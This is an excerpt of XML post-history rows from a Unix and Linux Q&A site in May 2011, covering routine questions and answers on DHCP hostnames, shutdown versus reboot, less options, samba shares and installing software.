  <row Id="32353" PostHistoryTypeId="2" PostId="13112" RevisionGUID="3bbd050d-f5f8-4c40-90fa-f890fab94036" CreationDate="2011-05-13T14:45:52.247" UserId="6290" Text="This doesn't do what you are asking, but on many systems (including linux and most BSDs) you can set a key for the &quot;rprnt&quot; action:&#xD;&#xA;&#xD;&#xA;     stty rprnt '^R'&#xD;&#xA;&#xD;&#xA;and pressing the key while in a program that is using the tty driver for input processing [which I think telnet does when you are connected to a raw service like this] will cause the input line to redisplay on the next line&#xD;&#xA;&#xD;&#xA;So your screen will look like:&#xD;&#xA;&#xD;&#xA;    SERVER PROMPT&gt; your text your text your text your textOUTPUT FROM SERVER^R&#xD;&#xA;    your text your text your text your text your text_&#xD;&#xA;&#xD;&#xA;Beyond that, you'll need to get a real MUD client like tinyfugue." />
  <row Id="32354" PostHistoryTypeId="2" PostId="13113" RevisionGUID="1a885505-3726-4dd3-b32c-3b0da6459adb" CreationDate="2011-05-13T14:47:18.350" UserId="394" Text="I have a couple command line php scripts and also php pages that call the same class file. Instead of having mutiple copies of it floating around, I want to put `class.myApi.php` in one central location on the filesystem. All files will then reference that one single file. Where does it belong?" />
  <row Id="32355" PostHistoryTypeId="1" PostId="13113" RevisionGUID="1a885505-3726-4dd3-b32c-3b0da6459adb" CreationDate="2011-05-13T14:47:18.350" UserId="394" Text="where on the filesystem do user-generated system scripts go?" />
  <row Id="32356" PostHistoryTypeId="3" PostId="13113" RevisionGUID="1a885505-3726-4dd3-b32c-3b0da6459adb" CreationDate="2011-05-13T14:47:18.350" UserId="394" Text="éfilesystemsà" />
  <row Id="32357" PostHistoryTypeId="5" PostId="13113" RevisionGUID="03e1af20-6711-422d-8219-9cb978c66657" CreationDate="2011-05-13T14:56:26.987" UserId="394" Comment="added 32 characters in body; edited tags" Text="I have a couple command line php scripts and also php pages that call the same class file. Instead of having mutiple copies of it floating around, I want to put `class.myApi.php` in one central location on the filesystem. All files will then reference that one single file. Where does it belong?  Does it belong in `/usr/bin` ?" />
  <row Id="32358" PostHistoryTypeId="6" PostId="13113" RevisionGUID="03e1af20-6711-422d-8219-9cb978c66657" CreationDate="2011-05-13T14:56:26.987" UserId="394" Comment="added 32 characters in body; edited tags" Text="éfilesystemsàédirectoryöstructureà" />
  <row Id="32359" PostHistoryTypeId="25" PostId="13104" RevisionGUID="d01b78eb-be09-44ce-9189-fabb990e335a" CreationDate="2011-05-13T15:11:54.070" Comment="http://twitter.com/#!/StackUnix/status/69057282188640256" />
  <row Id="32363" PostHistoryTypeId="2" PostId="13115" RevisionGUID="2bb157cd-da9a-4258-a581-b7d51ba413bc" CreationDate="2011-05-13T15:27:40.043" UserId="1952" Text="I think the most appropriate place would be&#xD;&#xA;&#xD;&#xA;    /usr/lib/yourLibraryName&#xD;&#xA;&#xD;&#xA;See the [Filesystem Hierarchie Standard][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.html#USRLIBLIBRARIESFORPROGRAMMINGANDPA" />
  <row Id="32367" PostHistoryTypeId="2" PostId="13116" RevisionGUID="e0395734-3b51-4f68-b8cd-48acaf4f7497" CreationDate="2011-05-13T15:31:02.773" UserId="7340" Text="I'm looking for a reference for what goes under the share name... I feel like there are about 6 dozen different options but I can't find a good reference anywhere... someone help me out?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [myshare]&#xD;&#xA;        path = /export/myshare&#xD;&#xA;        valid users = mydomain\user1 mydomain\user2&#xD;&#xA;        public = no&#xD;&#xA;        writable = yes&#xD;&#xA;        browseable = No" />
  <row Id="32368" PostHistoryTypeId="1" PostId="13116" RevisionGUID="e0395734-3b51-4f68-b8cd-48acaf4f7497" CreationDate="2011-05-13T15:31:02.773" UserId="7340" Text="Where can I find a list and documentation for samba share definitions?" />
  <row Id="32369" PostHistoryTypeId="3" PostId="13116" RevisionGUID="e0395734-3b51-4f68-b8cd-48acaf4f7497" CreationDate="2011-05-13T15:31:02.773" UserId="7340" Text="ésambaà" />
  <row Id="32370" PostHistoryTypeId="5" PostId="13104" RevisionGUID="35bc702c-2ca3-426a-ac35-5614d6e5c65e" CreationDate="2011-05-13T15:31:58.453" UserId="73" Comment="added 1 characters in body; edited title" Text="I copied many files to my new linux host. I see that all files have the owner and group both set to `515`. What does that mean?" />
  <row Id="32371" PostHistoryTypeId="4" PostId="13104" RevisionGUID="35bc702c-2ca3-426a-ac35-5614d6e5c65e" CreationDate="2011-05-13T15:31:58.453" UserId="73" Comment="added 1 characters in body; edited title" Text="What does the &quot;number&quot; in the owner field of files signify in linux?" />
  <row Id="32372" PostHistoryTypeId="2" PostId="13117" RevisionGUID="3995d2db-3cc5-429a-9d63-6ff620297518" CreationDate="2011-05-13T15:37:19.587" UserId="7447" Text="I have an Ubuntu 11.04 server virtual machine. I would like to request a specific hostname from the DHCP server at the office. Since I don't run it often, the IP changes nearly every time that I boot it. Obviously, referencing it by a hostname is the preferred option.&#xD;&#xA;&#xD;&#xA;I know that my DHCP server respects DHCP client hostname requests. On my windows 7 machine, I can rename the computer, reboot, query the DHCP server, and see the new name in the ANSWER SECTION. The query command that I use is:&#xD;&#xA;&#xD;&#xA;    dig @192.168.225.5 -x 192.168.235.XXX&#xD;&#xA;&#xD;&#xA;and each time it will respond with the new computer hostname. I can also now ping and ssh from other machines using that new hostname.&#xD;&#xA;&#xD;&#xA;I have no such luck on the Ubuntu VM. I modified /etc/dhcp/dhclient.conf to include a line:&#xD;&#xA;&#xD;&#xA;    send host-name &quot;MYRQUESTEDHOSTNAME&quot;;&#xD;&#xA;&#xD;&#xA;and then run&#xD;&#xA;&#xD;&#xA;    sudo /etc/init.d/networking restart&#xD;&#xA;&#xD;&#xA;but querying with dig using the VM's IP address yields no ANSWER SECTION.&#xD;&#xA;&#xD;&#xA;What am I missing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32373" PostHistoryTypeId="1" PostId="13117" RevisionGUID="3995d2db-3cc5-429a-9d63-6ff620297518" CreationDate="2011-05-13T15:37:19.587" UserId="7447" Text="How to request a hostname from a DHCP server on Ubuntu?" />
  <row Id="32374" PostHistoryTypeId="3" PostId="13117" RevisionGUID="3995d2db-3cc5-429a-9d63-6ff620297518" CreationDate="2011-05-13T15:37:19.587" UserId="7447" Text="éubuntuàédhcpàéhostnameà" />
  <row Id="32375" PostHistoryTypeId="2" PostId="13118" RevisionGUID="a916e4ef-613d-40b7-81da-2b8c4c0e7657" CreationDate="2011-05-13T15:45:59.887" UserId="7351" Text="send specifies the options to send to the DHCP server. You're assuming that `send host-name &quot;foo.bar&quot;` means *send foo.bar as the hostname*. Yet it means *send the hostname and the string &quot;foo.bar&quot; to the dhcp server*.&#xD;&#xA;&#xD;&#xA;You need two lines:&#xD;&#xA;&#xD;&#xA;    option host-name &quot;foo.bar&quot;;&#xD;&#xA;    send host-name;" />
  <row Id="32376" PostHistoryTypeId="2" PostId="13119" RevisionGUID="c2cd2dc9-52c2-4cf0-b50d-9fd914f4cc7b" CreationDate="2011-05-13T15:55:54.747" UserId="6960" Text="Why do we need the reboot funcion in different binaries?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	shutdown -r&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;	reboot&#xD;&#xA;&#xD;&#xA;Or do the differ in something?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="32377" PostHistoryTypeId="1" PostId="13119" RevisionGUID="c2cd2dc9-52c2-4cf0-b50d-9fd914f4cc7b" CreationDate="2011-05-13T15:55:54.747" UserId="6960" Text="Why do we need the reboot funcion in different binaries?" />
  <row Id="32378" PostHistoryTypeId="3" PostId="13119" RevisionGUID="c2cd2dc9-52c2-4cf0-b50d-9fd914f4cc7b" CreationDate="2011-05-13T15:55:54.747" UserId="6960" Text="élinuxà" />
  <row Id="32379" PostHistoryTypeId="2" PostId="13120" RevisionGUID="e54cf07d-2ed7-4461-9749-1fcc569af8d0" CreationDate="2011-05-13T16:10:52.193" UserId="2594" Text="I would suggest either `/usr/local/share/php/your-app-name` or `/opt/local/share/php/your-app-name`." />
  <row Id="32380" PostHistoryTypeId="2" PostId="13121" RevisionGUID="3b5abe20-9e3e-434c-b5a6-8e011d4358a6" CreationDate="2011-05-13T16:11:41.723" UserId="7449" Text="We would like to enable direct access to CUDA-enabled GPUs within either KVM or Xen (or Citrix Xenserver).  Specifically, we want to use PCI passthrough to access an NVIDIA Tesla S2050 unit, which is composed of 4 Tesla C2050 devices.  I'm aware that Xenserver 5.6 supports SLI Multi-OS-enabled GPUs, but my understanding is that the C2050s are not SLI Multi-OS devices.  I would prefer to avoid RPC-like solutions due to performance and maintenance issues that I've experienced.&#xD;&#xA;&#xD;&#xA;Amazon EC2 offers Xen VMs with Tesla M2050 GPUs, which I believe are quite similar to our C2050s, so it seems like what I would like to do should be possible.  Has anyone successfully passed a non-SLI Multi-OS GPU to Linux VM from either KVM or Xen and successfully run a CUDA application?  If so, what virtualization solution did you use and what GPU was used?" />
  <row Id="32381" PostHistoryTypeId="1" PostId="13121" RevisionGUID="3b5abe20-9e3e-434c-b5a6-8e011d4358a6" CreationDate="2011-05-13T16:11:41.723" UserId="7449" Text="GPGPU/CUDA in KVM or Xen" />
  <row Id="32382" PostHistoryTypeId="3" PostId="13121" RevisionGUID="3b5abe20-9e3e-434c-b5a6-8e011d4358a6" CreationDate="2011-05-13T16:11:41.723" UserId="7449" Text="ékvmàénvidiaàéxenà" />
  <row Id="32383" PostHistoryTypeId="2" PostId="13122" RevisionGUID="86c767d7-c882-4b59-93f0-3d331e8762cc" CreationDate="2011-05-13T16:12:41.973" UserId="3358" Text="We don't necessarily need them both, but we have them both because of the history of Unix, and its multiplicity of versions.&#xD;&#xA;&#xD;&#xA;From their respective man pages:&#xD;&#xA;&#xD;&#xA; - The shutdown utility appeared in 4.0BSD.&#xD;&#xA; - A reboot utility appeared in Version 6 AT&amp;T UNIX.&#xD;&#xA;&#xD;&#xA;shutdown is more general-purpose, and more powerful, while reboot is friendlier and easier to remember.&#xD;&#xA;&#xD;&#xA;shutdown allows you to specify a temporal argument (to restart in 5 minutes, for instance) and allows you to do many things besides reboot, including:&#xD;&#xA;&#xD;&#xA; - you can just kick off users and not actually shutdown&#xD;&#xA; - you can put the system to sleep instead of shutting down&#xD;&#xA; - you can simply shutdown without rebooting (like the halt command)&#xD;&#xA; - you can include a custom warning message for users on the system&#xD;&#xA;&#xD;&#xA;However, if you just want to reboot the system now, it's easier to type `reboot` than `shutdown -r now`." />
  <row Id="32384" PostHistoryTypeId="5" PostId="13119" RevisionGUID="34bed56e-4adc-4d20-aebd-ac26a5816152" CreationDate="2011-05-13T16:20:07.917" UserId="2421" Comment="corrected spelling" Text="Why do we need the reboot function in different binaries?&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	shutdown -r&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;	reboot&#xD;&#xA;&#xD;&#xA;Or do they differ in something?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="32385" PostHistoryTypeId="4" PostId="13119" RevisionGUID="34bed56e-4adc-4d20-aebd-ac26a5816152" CreationDate="2011-05-13T16:20:07.917" UserId="2421" Comment="corrected spelling" Text="Why do we need the reboot function in different binaries?" />
  <row Id="32386" PostHistoryTypeId="6" PostId="13119" RevisionGUID="34bed56e-4adc-4d20-aebd-ac26a5816152" CreationDate="2011-05-13T16:20:07.917" UserId="2421" Comment="corrected spelling" Text="élinuxàéhistoryàéshutdownà" />
  <row Id="32387" PostHistoryTypeId="2" PostId="13123" RevisionGUID="33ff028e-2879-4238-8a90-ea0afb6325b5" CreationDate="2011-05-13T16:39:03.627" UserId="6973" Text="`less -jn` where n is a line number to jump to is not working for me. It just has no effect. I'm running less version 436 on Ubuntu 11.04. I also tried `less --jump-target=200` and `LESS='-j200' less filename`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32388" PostHistoryTypeId="1" PostId="13123" RevisionGUID="33ff028e-2879-4238-8a90-ea0afb6325b5" CreationDate="2011-05-13T16:39:03.627" UserId="6973" Text="less -j is not working for me" />
  <row Id="32389" PostHistoryTypeId="3" PostId="13123" RevisionGUID="33ff028e-2879-4238-8a90-ea0afb6325b5" CreationDate="2011-05-13T16:39:03.627" UserId="6973" Text="élessà" />
  <row Id="32390" PostHistoryTypeId="2" PostId="13124" RevisionGUID="3def1b50-e270-4c52-b723-f1fefd55a1b5" CreationDate="2011-05-13T16:51:51.003" UserId="7167" Text="You miss understood the `-j` option. The number specifies in which column of the screen a search result should be displayed. You screen does not have 200 rows and because of this `-j200` has no effect. Try `seq 200|less -j5`. After this press `/` `7`. The seven will be in the fifth row. Without `-j5` it will be in the first row." />
  <row Id="32391" PostHistoryTypeId="2" PostId="13125" RevisionGUID="2c8eb180-55f7-47a6-946c-f0034c9e776f" CreationDate="2011-05-13T17:14:04.120" UserId="885" Text="[ceving's answer](http://unix.stackexchange.com/questions/13123/less-j-is-not-working-for-me/13124#13124) explains what `-j` does. I think you're looking for&#xD;&#xA;&#xD;&#xA;    less +200 filename           # jump to line 200 (the first line is 1)&#xD;&#xA;&#xD;&#xA;The `+NUM` switch to jump to line NUM is fairly common amongst unix text viewers (starting with `more`) and editors. In less, it's an instance of the more general `+command` which lets you execute a command automatically after opening the file. Other common examples:&#xD;&#xA;&#xD;&#xA;    less +200P filename          # jump to the line containing byte 200&#xD;&#xA;    less +G filename             # jump to the end of the file (G command)&#xD;&#xA;    less +/hello filename        # jump to the first occurrence of hello&#xD;&#xA;" />
  <row Id="32392" PostHistoryTypeId="5" PostId="13118" RevisionGUID="1bd1b193-61a5-44f8-b2d1-5ea4251956fa" CreationDate="2011-05-13T17:30:15.747" UserId="7351" Comment="Answer was incorrect." Text="You need to check whether the hostname is actually sent. If it is, the problem lies with the dhcp server not updating the DNS records.&#xD;&#xA;&#xD;&#xA;&lt;strike&gt;send specifies the options to send to the DHCP server. You're assuming that `send host-name &quot;foo.bar&quot;` means *send foo.bar as the hostname*. Yet it means *send the hostname and the string &quot;foo.bar&quot; to the dhcp server*.&#xD;&#xA;You need two lines:&#xD;&#xA;    option host-name &quot;foo.bar&quot;;&#xD;&#xA;    send host-name;&#xD;&#xA;&lt;/strike&gt;" />
  <row Id="32393" PostHistoryTypeId="25" PostId="13123" RevisionGUID="bbc804f9-4c9b-4afa-bec4-ca1209759beb" CreationDate="2011-05-13T18:12:07.333" Comment="http://twitter.com/#!/StackUnix/status/69102636938440704" />
  <row Id="32394" PostHistoryTypeId="2" PostId="13126" RevisionGUID="4f7f611e-f00c-4ecc-92c1-aae4619d8a68" CreationDate="2011-05-13T18:35:55.053" UserId="6973" Text="Is there a way to bind TAB so that it outputs 2 space characters? I know you can do this in a text editor like Vim, but I wanted to carry over this functionality to `cat &gt;&gt;`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32395" PostHistoryTypeId="1" PostId="13126" RevisionGUID="4f7f611e-f00c-4ecc-92c1-aae4619d8a68" CreationDate="2011-05-13T18:35:55.053" UserId="6973" Text="Is there a way to bind TAB so that it outputs 2 space characters?" />
  <row Id="32396" PostHistoryTypeId="3" PostId="13126" RevisionGUID="4f7f611e-f00c-4ecc-92c1-aae4619d8a68" CreationDate="2011-05-13T18:35:55.053" UserId="6973" Text="ékeyboardàéxmodmapà" />
  <row Id="32397" PostHistoryTypeId="2" PostId="13127" RevisionGUID="14877514-9190-4248-8fee-ab704ab4e8a6" CreationDate="2011-05-13T18:57:41.227" UserId="7289" Text="I have installed opensuse 11.4 today and I am trying to install [Pencil][1] on it. I downloaded the archlinux tarball from the site, and after extracting it, the *pencil.sh* file disn't install, giving a bash error (permission denied). I also tried searching for it on YaST, but didn't find it there. I need some help.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pencil-animation.org/index.php?id=Download" />
  <row Id="32398" PostHistoryTypeId="1" PostId="13127" RevisionGUID="14877514-9190-4248-8fee-ab704ab4e8a6" CreationDate="2011-05-13T18:57:41.227" UserId="7289" Text="installing Pencil on opensuse" />
  <row Id="32399" PostHistoryTypeId="3" PostId="13127" RevisionGUID="14877514-9190-4248-8fee-ab704ab4e8a6" CreationDate="2011-05-13T18:57:41.227" UserId="7289" Text="éopensuseà" />
  <row Id="32400" PostHistoryTypeId="2" PostId="13128" RevisionGUID="58196a2e-d541-4b2c-9c8f-a2873be7fde7" CreationDate="2011-05-13T19:41:04.887" UserId="138" Text="In addition to what Brandon wrote, there's an important distinction between the two programs: `shutdown` is in `/sbin`, while `reboot` is in `/usr/bin`.&#xD;&#xA;&#xD;&#xA;Why does this matter, you ask? I will tell you.&#xD;&#xA;&#xD;&#xA;Things under `/usr` are those that do not have to be available until the system is booted up far enough that the system is minimally functional. Top-level directories that are traditionally never mounted on separate filesystems &amp;mdash; `/bin`, `/etc`, `/sbin`, etc. &amp;mdash; are expected to be available while the system is reaching this minimally useful state. There are various implications of this design; for instance, it is bad style to write the &quot;stop&quot; clause of a SysV init script that uses programs in `/usr/bin` if there is an alternative in `/bin` or `/sbin`.&#xD;&#xA;&#xD;&#xA;`shutdown` is the key utility, the one always available. `reboot` is a convenience utility only." />
  <row Id="32401" PostHistoryTypeId="2" PostId="13129" RevisionGUID="45743965-1b4c-4e49-8ff7-dfb138f8e1f7" CreationDate="2011-05-13T20:00:10.727" UserId="6960" Text="I'm trying to install ie4linux:&#xD;&#xA;&#xD;&#xA;	Original: http://www.howtoforge.com/how-to-install-internet-explorer-6-7-on-fedora-10-11&#xD;&#xA;&#xD;&#xA;	root:&#xD;&#xA;	yum install wine cabextract&#xD;&#xA;&#xD;&#xA;	normal user:&#xD;&#xA;	wget -q http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz&#xD;&#xA;	tar xfz ies4linux-latest.tar.gz&#xD;&#xA;	cd ies4linux-*&#xD;&#xA;	sed -i 's/which wineprefixcreate/which iptables/g' lib/functions.sh&#xD;&#xA;	./ies4linux --no-flash --no-desktop-icon --no-menu-icon --no-gui --beta-install-ie7 # Same as above but with IE7 support (beta)&#xD;&#xA;&#xD;&#xA;but when installing: &#xD;&#xA;&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/ADVAUTH.CAB: No such file or directory&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/CRLUPD.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/HHUPD.CAB: WARNING; possible 6720 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IEDOM.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_EXTRA.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S1.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S2.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S3.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S4.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S5.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S6.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/SETUPW95.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/VGX.CAB: WARNING; possible 6896 extra bytes at end of file.&#xD;&#xA;&#xD;&#xA;the installer suddenly get's terminated..&lt;br&gt;&#xD;&#xA;Can someone help me install this on Fedora 14? :\&lt;br&gt;&#xD;&#xA;Thanks:\" />
  <row Id="32402" PostHistoryTypeId="1" PostId="13129" RevisionGUID="45743965-1b4c-4e49-8ff7-dfb138f8e1f7" CreationDate="2011-05-13T20:00:10.727" UserId="6960" Text="Does ie4linux works under Fedora?" />
  <row Id="32403" PostHistoryTypeId="3" PostId="13129" RevisionGUID="45743965-1b4c-4e49-8ff7-dfb138f8e1f7" CreationDate="2011-05-13T20:00:10.727" UserId="6960" Text="élinuxàéfedoraàéwineà" />
  <row Id="32404" PostHistoryTypeId="2" PostId="13130" RevisionGUID="fd8256ba-acc1-45f7-935f-95181fb79a85" CreationDate="2011-05-13T20:01:55.623" UserId="7455" Text="I am fairly new to Linux, and have only tried Ubuntu sporadically over the years since it was first released. I just bought a new laptop with a quad-core i3 processor and 4GB ram. I need Windows 7 because I develop software using Visual Studio for a living. However, I am interested in trying out Linux more to learn about it. Is it feasible to run Windows 7 inside a VM within Ubuntu (or other distro) with my hardware configuration? Visual Studio is a memory hog, so I will need most of that 4 GB inside the Windows 7 VM when running.&#xD;&#xA;&#xD;&#xA;(And yes, I realize I can dual boot...would just prefer to have one inside the other)&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="32405" PostHistoryTypeId="1" PostId="13130" RevisionGUID="fd8256ba-acc1-45f7-935f-95181fb79a85" CreationDate="2011-05-13T20:01:55.623" UserId="7455" Text="Running Windows 7 within Linux w 4GB ram - bad idea?" />
  <row Id="32406" PostHistoryTypeId="3" PostId="13130" RevisionGUID="fd8256ba-acc1-45f7-935f-95181fb79a85" CreationDate="2011-05-13T20:01:55.623" UserId="7455" Text="éhardwareàéwindowsà" />
  <row Id="32407" PostHistoryTypeId="5" PostId="13129" RevisionGUID="d5844a27-06a7-4f82-acb3-a9fc0f991d44" CreationDate="2011-05-13T20:09:22.440" UserId="73" Comment="deleted 23 characters in body; edited title; edited tags" Text="I'm trying to install ie4linux, following [this tutorial](http://www.howtoforge.com/how-to-install-internet-explorer-6-7-on-fedora-10-11)&#xD;&#xA;&#xD;&#xA;### root&#xD;&#xA;	yum install wine cabextract&#xD;&#xA;&#xD;&#xA;### normal user&#xD;&#xA;	wget -q http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz&#xD;&#xA;	tar xfz ies4linux-latest.tar.gz&#xD;&#xA;	cd ies4linux-*&#xD;&#xA;	sed -i 's/which wineprefixcreate/which iptables/g' lib/functions.sh&#xD;&#xA;	./ies4linux --no-flash --no-desktop-icon --no-menu-icon --no-gui --beta-install-ie7 # Same as above but with IE7 support (beta)&#xD;&#xA;&#xD;&#xA;But when installing, the installer suddenly terminates:&#xD;&#xA;&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/ADVAUTH.CAB: No such file or directory&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/CRLUPD.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/HHUPD.CAB: WARNING; possible 6720 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IEDOM.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_EXTRA.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S1.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S2.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S3.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S4.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S5.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/IE_S6.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/SETUPW95.CAB: WARNING; possible 6968 extra bytes at end of file.&#xD;&#xA;	/home/user/.ies4linux/downloads/ie6/HU/VGX.CAB: WARNING; possible 6896 extra bytes at end of file.&#xD;&#xA;&#xD;&#xA;How can I install this on Fedora 14?" />
  <row Id="32408" PostHistoryTypeId="4" PostId="13129" RevisionGUID="d5844a27-06a7-4f82-acb3-a9fc0f991d44" CreationDate="2011-05-13T20:09:22.440" UserId="73" Comment="deleted 23 characters in body; edited title; edited tags" Text="Does ie4linux work under Fedora?" />
  <row Id="32409" PostHistoryTypeId="6" PostId="13129" RevisionGUID="d5844a27-06a7-4f82-acb3-a9fc0f991d44" CreationDate="2011-05-13T20:09:22.440" UserId="73" Comment="deleted 23 characters in body; edited title; edited tags" Text="élinuxàéfedoraàéwineàéie4linuxà" />
  <row Id="32410" PostHistoryTypeId="5" PostId="13091" RevisionGUID="716b4fa2-06ad-4a7f-bdd9-05f2d0d5d9ba" CreationDate="2011-05-13T20:13:48.603" UserId="2689" Comment="added 57 characters in body; edited tags" Text="I have a flash drive, let's name it `FLASH`.&#xD;&#xA;&#xD;&#xA;I want, when on my mac, when `FLASH` is plugged (and automatically mounted), execute a specific script and make `~/Documents` to be automatically copied to `/Volumes/FLASH/Documents` (mac mounts drives at `/Volumes`).&#xD;&#xA;&#xD;&#xA;This same drive, `FLASH`, (with this new `Documents` folder added before with the mac situation), when plugged in an Ubuntu machine, I want it to automatically copy `FLASH/Documents` to `~/Documents` (or automatically execute an script, after mounting).&#xD;&#xA;&#xD;&#xA;How should I do this in these different scenarios?" />
  <row Id="32411" PostHistoryTypeId="6" PostId="13091" RevisionGUID="716b4fa2-06ad-4a7f-bdd9-05f2d0d5d9ba" CreationDate="2011-05-13T20:13:48.603" UserId="2689" Comment="added 57 characters in body; edited tags" Text="élinuxàébackupàérsyncàémacàéautomatorà" />
  <row Id="32412" PostHistoryTypeId="2" PostId="13131" RevisionGUID="350febfd-a510-4cf2-8a06-7b783806211d" CreationDate="2011-05-13T20:35:17.663" UserId="839" Text="The Windows partition on my laptop seems to refuse to boot, and since I lack the original install CD, I was thinking of installing &lt;a href=&quot;http://www.archlinux.org/&quot;&gt;my preferred Linux distro, Arch&lt;/a&gt; on it.&#xD;&#xA;&#xD;&#xA;I want to recover data off the Windows hard drive (and onto my external) first before installing Arch, so I intend to use a Live CD to do so.  Both the Windows HD and my external HD are formatted using NTFS.&#xD;&#xA;&#xD;&#xA;However, &lt;a href=&quot;https://wiki.archlinux.org/index.php/Dell_Inspiron_1525#Video&quot;&gt;the display requires manual configuration in order to use X&lt;/a&gt;, which precludes the use of a Live CD that will boot directly into X.&#xD;&#xA;&#xD;&#xA;What Live CD distros are available that support reading and writing to NTFS (preferably using ntfs-3g) and boot into text mode?" />
  <row Id="32413" PostHistoryTypeId="1" PostId="13131" RevisionGUID="350febfd-a510-4cf2-8a06-7b783806211d" CreationDate="2011-05-13T20:35:17.663" UserId="839" Text="A Live CD distro for getting data off a NTFS partition without X Windows." />
  <row Id="32414" PostHistoryTypeId="3" PostId="13131" RevisionGUID="350febfd-a510-4cf2-8a06-7b783806211d" CreationDate="2011-05-13T20:35:17.663" UserId="839" Text="édistrosàédataörecoveryàélivecdàéntfsà" />
  <row Id="32415" PostHistoryTypeId="2" PostId="13132" RevisionGUID="304d7c39-d766-4bda-b8bd-3aa8a69cdb7f" CreationDate="2011-05-13T20:53:05.853" UserId="7370" Text="On the Mac, use **Do Something When**, a free software which trigger actions when you mount/unmount a drive.&#xD;&#xA;&#xD;&#xA;On the Linux side, follow Gille's suggestion. Good luck." />
  <row Id="32416" PostHistoryTypeId="2" PostId="13133" RevisionGUID="f5d06863-7cc2-4bd7-ac3c-8e234cc08efc" CreationDate="2011-05-13T20:54:59.050" UserId="4991" Text="I use [SystemRescueCd](http://www.sysresccd.org/Main_Page).  It boots to a bash shell (where you can startx if you want) and can mount ntfs drives using [ntfs-3g](http://www.sysresccd.org/Sysresccd-manual-en_Mounting_an_NTFS_partition_with_full_Read-Write_support).  &#xD;&#xA;It also includes a lot of rescue tools.&#xD;&#xA;" />
  <row Id="32417" PostHistoryTypeId="25" PostId="13129" RevisionGUID="102ed41d-712c-4638-85b0-aa0dd8a2cdcf" CreationDate="2011-05-13T21:12:07.940" Comment="http://twitter.com/#!/StackUnix/status/69147937799815168" />
  <row Id="32419" PostHistoryTypeId="2" PostId="13135" RevisionGUID="01c89db2-6310-4fb6-95ac-0327e8c21372" CreationDate="2011-05-13T21:24:12.603" UserId="885" Text="Not at the xmodmap level. You could make a program grab the key and inject two spaces into the focused window. Or you could configure your terminal emulator to do the transformation. For example, in xterm, you'd do it with a resource setting:&#xD;&#xA;&#xD;&#xA;    XTerm.VT100.translations: #override \&#xD;&#xA;        ~Ctrl ~Meta ~Shift &lt;Key&gt;Tab: string(&quot;  &quot;)&#xD;&#xA;&#xD;&#xA;However, I definitely recommend against this. You'd lose the ability to use &lt;kbd&gt;Tab&lt;/kbd&gt; for anything else, such as completion in shells and other text mode programs.&#xD;&#xA;" />
  <row Id="32420" PostHistoryTypeId="10" PostId="13130" RevisionGUID="fd422d50-6ba0-4c27-9aa7-a129707329fa" CreationDate="2011-05-13T21:26:08.830" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
